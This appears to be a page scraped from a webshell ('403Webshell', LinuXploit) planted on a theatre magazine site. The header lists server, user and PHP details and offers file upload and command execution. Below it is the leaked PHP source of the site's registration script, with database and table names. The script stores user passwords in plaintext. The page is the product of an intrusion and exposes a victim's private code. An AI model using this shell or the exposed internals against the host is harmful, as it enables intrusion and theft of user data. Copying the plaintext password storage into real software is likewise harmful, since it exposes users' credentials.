403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/domains/stagemag/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/domains/stagemag/register2.php
<?php
/**
 * register2.php -- Registration processing with DB + file uploads
 * Converted from register2.php
 */
require_once __DIR__ . '/functions.php';
require_once __DIR__ . '/email.php';
init_session();
include __DIR__ . '/registerheader.php';
set_time_limit(600);

/* ── Registration tracking ── */
$todayvar = date('Y-m-d');
$stmt = db_read()->prepare(
    "SELECT id FROM amazonrds.emailregistertrack WHERE typer = 96 AND dater = :dater"
);
$stmt->execute([':dater' => $todayvar]);
$doesexist = $stmt->fetch();

if ($doesexist) {
    $upd = db_write()->prepare(
        "UPDATE amazonrds.emailregistertrack SET entries = entries + 1 WHERE id = :id"
    );
    $upd->execute([':id' => $doesexist['id']]);
} else {
    $ins = db_write()->prepare(
        "INSERT INTO amazonrds.emailregistertrack (typer, dater, entries) VALUES (96, :dater, 1)"
    );
    $ins->execute([':dater' => $todayvar]);
}
?>

<div id="content" style="max-width: 800px;">
  <div id="content-header">
    <h2>&nbsp;Register Now</h2>
  </div>
  <div class="container-fluid">

<?php
if (!isset($_POST['email'])) {
    echo 'a2';
    exit;
}

$captchatext   = $_POST['captchatext'] ?? '1';
$chide         = $_POST['chide'] ?? '1';
$gender_check  = $_POST['gender_check'] ?? ' ';
$calendaremail = $_POST['calendaremail'] ?? '0';
$newsemail     = $_POST['newsemail'] ?? '0';
$weeklyemail   = $_POST['weeklyemail'] ?? '0';
$smsnotify     = $_POST['smsnotify'] ?? '0';
$title_select  = $_POST['title_select'] ?? '0';
$bbs           = $_POST['bbs'] ?? '0';
$givenik       = $_POST['givenik'] ?? '0';
$bio           = $_POST['bio'] ?? '';
$smsservice    = $_POST['smsservice'] ?? '';
$smsnumber     = $_POST['smsnumber'] ?? '';
$profile       = $_POST['profile'] ?? 'No';
$heardfrom     = $_POST['heardfrom'] ?? '';
$currentDate   = $_POST['CurrentDate'] ?? date('Y-m-d H:i:s');
$country       = $_SERVER['HTTP_CF_IPCOUNTRY'] ?? '';

if (!isset($_POST['member'])) {
    $utime = time();
    $_POST['member'] = 'stagemag' . $utime;
}
$member = $_POST['member'];

// Check if member name exists
$stmtMem = db_read()->prepare("SELECT member FROM bway_bww.starusers WHERE member = :m");
$stmtMem->execute([':m' => $member]);
$getmember = $stmtMem->fetch();

// Check if email already in use
$stmtEmail = db_read()->prepare("SELECT email FROM bway_bww.starusers WHERE email = :e");
$stmtEmail->execute([':e' => $_POST['email']]);
$getmember2 = $stmtEmail->fetch();

if ($getmember2) {
    // Email already in use
    include __DIR__ . '/registerheader.php';
    $refer = isset($_GET['refer']) ? '?refer=' . urlencode($_GET['refer']) : '';
    $pidParam = isset($_GET['programid']) ? '&programid=' . (int)$_GET['programid'] : '';
?>
<script src="/sovrn-email.js"></script>
<p><a href="javascript:history.back()">Click Here to Go Back</a></p>
<p><strong><div align="center"><font face=arial size=+1>E-Mail Address Already in Use!</font></div></strong></p>
<form action="/loginsubmit.php<?= $refer . $pidParam ?>" method="post" enctype="multipart/form-data">
    <div class="col-md-6">
        <input type="email" name="email" placeholder="Email">
    </div>
    <div class="col-md-6">
        <input type="password" name="password" placeholder="Password">
    </div>
    <div class="col-md-12 order-button-block">
        <input class="button order-button" style="background-color:#b20223;color:white;" type="submit" value="Login to Stage Mag">
    </div>
</form>
<?php include __DIR__ . '/footer.php'; exit;
}

// Ensure unique member name
$newmember = $member;
if ($getmember) {
    for ($i = 1; $i <= 25; $i++) {
        $testMember = $member . ($i + 1);
        $stmtCheck = db_read()->prepare("SELECT member FROM bway_bww.starusers WHERE member = :m");
        $stmtCheck->execute([':m' => $testMember]);
        if (!$stmtCheck->fetch()) {
            $newmember = $testMember;
            break;
        }
    }
} else {
    $newmember = $member;
}

// Fix profile value
if ($profile !== 'Yes' && $profile !== 'No') {
    $profile = 'No';
}

$firstName = $_POST['FirstName'] ?? '';
$lastName  = $_POST['LastName'] ?? '';
$email     = $_POST['email'] ?? '';
$password  = $_POST['Password'] ?? '';
$fromid    = (int)($_GET['fromid'] ?? 0);
$partner   = $_GET['partner'] ?? '';

// Handle photo upload path — only accept real JPEG/PNG/WEBP
$uploadExt = isset($_FILES['photo']) ? validate_image_upload($_FILES['photo']) : null;
$hasPhoto = $uploadExt !== null;

if ($hasPhoto) {
    $imagepath = '/home/bway/public_html/bway/tempfiles';
    $uuid = bin2hex(random_bytes(8));
    $photo = $uuid . '.jpg';
    $tmpFile = $imagepath . '/' . $photo;

    if (!move_uploaded_file($_FILES['photo']['tmp_name'], $tmpFile)) {
        $hasPhoto = false;
    }
}

if ($hasPhoto) {
    // Photo registration path
    $xxx = preg_replace('/\s+/', '', $email);

    $insUser = db_write()->prepare(
        "INSERT INTO bway_bww.starusers
            (Email, RegisteredOn, Fname, Lname, Gender_Check, Birth_Year, Zip, Country,
             Income_select, title_select, Password, accesslevel, member,
             profile, bio, Photo, Thumbnail, calendaremail, newsemail, showemail,
             birthmonth, birthday, lastlogin, regsource, heardfrom, weeklyemail,
             confirmed, givenik, smsservice, smsnumber, numofshows, bbs, lastip, tracker)
         VALUES
            (:email, :regon, :fname, :lname, :gender, :byear, :zip, :country,
             :income, :title_sel, :pass, 0, :member,
             :profile, :bio, :photo, :thumb, :calemail, :newsemail, :showemail,
             :bmonth, :bday, :lastlogin, 'StageMag', :heardfrom, :weeklyemail,
             '0', :givenik, :smsservice, :smsnumber, 0, :bbs, :lastip, 'StageMag')"
    );
    $insUser->execute([
        ':email'      => $xxx,
        ':regon'      => $currentDate,
        ':fname'      => substr($firstName, 0, 30),
        ':lname'      => substr($lastName, 0, 30),
        ':gender'     => $gender_check,
        ':byear'      => $_POST['Birth_Year'] ?? '',
        ':zip'        => $_POST['Zip'] ?? '',
        ':country'    => $_POST['Country'] ?? '',
        ':income'     => $_POST['Income_select'] ?? '',
        ':title_sel'  => $title_select,
        ':pass'       => $password,
        ':member'     => $newmember,
        ':profile'    => $profile,
        ':bio'        => $bio,
        ':photo'      => $photo,
        ':thumb'      => 'nd' . $photo,
        ':calemail'   => $calendaremail,
        ':newsemail'  => $newsemail,
        ':showemail'  => $profile,
        ':bmonth'     => $_POST['birthmonth'] ?? '',
        ':bday'       => $_POST['birthday'] ?? '',
        ':lastlogin'  => date('Y-m-d H:i:s'),
        ':heardfrom'  => $heardfrom,
        ':weeklyemail'=> $weeklyemail,
        ':givenik'    => $givenik,
        ':smsservice' => $smsservice,
        ':smsnumber'  => $smsnumber,
        ':bbs'        => $bbs,
        ':lastip'     => $_SERVER['REMOTE_ADDR'] ?? '',
    ]);

    // Save program if fromid
    if ($fromid > 0) {
        $stmtNew = db_write()->prepare("SELECT id FROM bway_bww.starusers ORDER BY id DESC LIMIT 1");
        $stmtNew->execute();
        $getnew = $stmtNew->fetch();
        $insSave = db_write()->prepare(
            "INSERT INTO stagemag.saveprogram (programid, userid) VALUES (:pid, :uid)"
        );
        $insSave->execute([':pid' => $fromid, ':uid' => $getnew['id']]);
    }

    // Insert into blasts.subscribers (non-critical — don't fail registration if it errors)
    try {
        $insBlast = db_write()->prepare("INSERT INTO blasts.subscribers (Email) VALUES (:email)");
        $insBlast->execute([':email' => $email]);
    } catch (PDOException $e) {
        error_log("register2.php: blasts.subscribers insert failed for {$email}: " . $e->getMessage());
    }

    // Send confirmation email (skip blocked domains)
    $blocked = ['dispostable.com', 'mailcatch.com', 'nokiamail.com', 'indiatimes.com', 'rhyta.com'];
    $sendEmail = true;
    foreach ($blocked as $b) {
        if (stripos($email, $b) !== false) { $sendEmail = false; break; }
    }

    if ($sendEmail) {
        $hashme = trim($email);
        $newUserId = (int)db_write()->lastInsertId();
        $activateUrl = 'https://stagemag.broadwayworld.com/register-activate.php?email=' . urlencode($email) . '&id=' . $newUserId;
        if ($partner !== '') {
            $activateUrl .= '&partner=' . urlencode($partner);
        }
        $emailBody = "Dear {$firstName} {$lastName},<p>Thank you for registering, you are almost done!<p>"
            . "To activate your account please click here: <a href=\"{$activateUrl}\">{$activateUrl}</a>"
            . "<p>Best wishes,<p>BroadwayWorld.com";

        send_email($email, 'Registration Confirmation', $emailBody, '[email protected]', true);
    }

    // Resize photo
    graphicsmagick('ResizeWidth', $imagepath . '/' . $photo, $imagepath . '/nd' . $photo, ['width' => 100, 'filter' => 'Catrom', 'quality' => 90]);

    // Upload to S3
    s3_upload($imagepath . '/' . $photo, 'userphotos/' . $photo);
    s3_upload($imagepath . '/nd' . $photo, 'userphotos/nd' . $photo);

    // Cleanup
    @unlink($imagepath . '/nd' . $photo);
    @unlink($imagepath . '/' . $photo);

    header('Location: registerdone.php?email=' . urlencode($email));
    exit;

} else {
    // No photo registration path
    if ($lastName !== 'Peiris' && substr($newmember, 0, 7) !== 'Unknown') {
        if ($profile !== 'Yes' && $profile !== 'No') {
            $profile = 'No';
        }

        $insUser = db_write()->prepare(
            "INSERT INTO bway_bww.starusers
                (Email, RegisteredOn, Fname, Lname, Gender_Check, Birth_Year, Zip, Country,
                 Income_select, title_select, Password, accesslevel, member,
                 profile, bio, calendaremail, newsemail, showemail,
                 birthmonth, birthday, lastlogin, regsource, heardfrom, weeklyemail,
                 confirmed, givenik, smsservice, smsnumber, numofshows, bbs, lastip, tracker)
             VALUES
                (:email, :regon, :fname, :lname, :gender, '', '', :country,
                 '', :title_sel, :pass, 0, :member,
                 :profile, :bio, :calemail, :newsemail, :showemail,
                 '', '', :lastlogin, 'StageMag', :heardfrom, :weeklyemail,
                 '0', :givenik, :smsservice, :smsnumber, 0, :bbs, :lastip, 'StageMag')"
        );
        $insUser->execute([
            ':email'      => $email,
            ':regon'      => $currentDate,
            ':fname'      => $firstName,
            ':lname'      => $lastName,
            ':gender'     => $gender_check,
            ':country'    => $country,
            ':title_sel'  => $title_select,
            ':pass'       => $password,
            ':member'     => $newmember,
            ':profile'    => $profile,
            ':bio'        => $bio,
            ':calemail'   => $calendaremail,
            ':newsemail'  => $newsemail,
            ':showemail'  => $profile,
            ':lastlogin'  => date('Y-m-d H:i:s'),
            ':heardfrom'  => $heardfrom,
            ':weeklyemail'=> $weeklyemail,
            ':givenik'    => $givenik,
            ':smsservice' => $smsservice,
            ':smsnumber'  => $smsnumber,
            ':bbs'        => $bbs,
            ':lastip'     => $_SERVER['REMOTE_ADDR'] ?? '',
        ]);

        // Save program if fromid
        if ($fromid > 0) {
            $stmtNew = db_write()->prepare("SELECT id FROM bway_bww.starusers ORDER BY id DESC LIMIT 1");
            $stmtNew->execute();
            $getnew = $stmtNew->fetch();
            $insSave = db_write()->prepare(
                "INSERT INTO stagemag.saveprogram (programid, userid) VALUES (:pid, :uid)"
            );
            $insSave->execute([':pid' => $fromid, ':uid' => $getnew['id']]);
        }
    }

    // Insert into blasts.subscribers (non-critical — don't fail registration if it errors)
    try {
        $insBlast = db_write()->prepare("INSERT INTO blasts.subscribers (Email) VALUES (:email)");
        $insBlast->execute([':email' => $email]);
    } catch (PDOException $e) {
        error_log("register2.php: blasts.subscribers insert failed for {$email}: " . $e->getMessage());
    }

    // Send confirmation email (skip blocked domains)
    $blocked = ['dispostable.com', 'mailcatch.com', 'indiatimes.com', 'nokiamail.com'];
    $sendEmail = true;
    foreach ($blocked as $b) {
        if (stripos($email, $b) !== false) { $sendEmail = false; break; }
    }

    if ($sendEmail) {
        $newUserId = (int)db_write()->lastInsertId();
        $activateUrl = 'https://stagemag.broadwayworld.com/register-activate.php?email=' . urlencode($email) . '&id=' . $newUserId;
        $emailBody = "Dear {$firstName} {$lastName},<p>Thank you for registering, you are almost done!<p>"
            . "To activate your account please click here: <a href=\"{$activateUrl}\">{$activateUrl}</a>"
            . "<p>Please be sure to take advantage of BroadwayWorld.com's many features which you now have access to including:"
            . "<ul>"
            . "<li><a href=\"https://www.broadwayworld.com/board/\">Message Boards</a>"
            . "<li><a href=\"https://www.broadwayworld.com/newsdesk.php\">Broadway News and Features</a>"
            . "<li><a href=\"https://www.broadwayworld.com/grosses.cfm\">Broadway Grosses</a>"
            . "<li><a href=\"https://www.broadwayworld.com/gallery.cfm\">Photo Gallery</a>"
            . "<p><li><a href=\"https://www.broadwayworld.com/\">And More...</a>"
            . "</ul>"
            . "<p>Best wishes,<p>BroadwayWorld.com";

        send_email($email, 'Registration Confirmation', $emailBody, '[email protected]', true);
    }

    header('Location: registerdone.php?email=' . urlencode($email));
    exit;
}
?>

  </div></div>

<!--Footer-part-->
<br><br><br><br>

<?php include __DIR__ . '/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit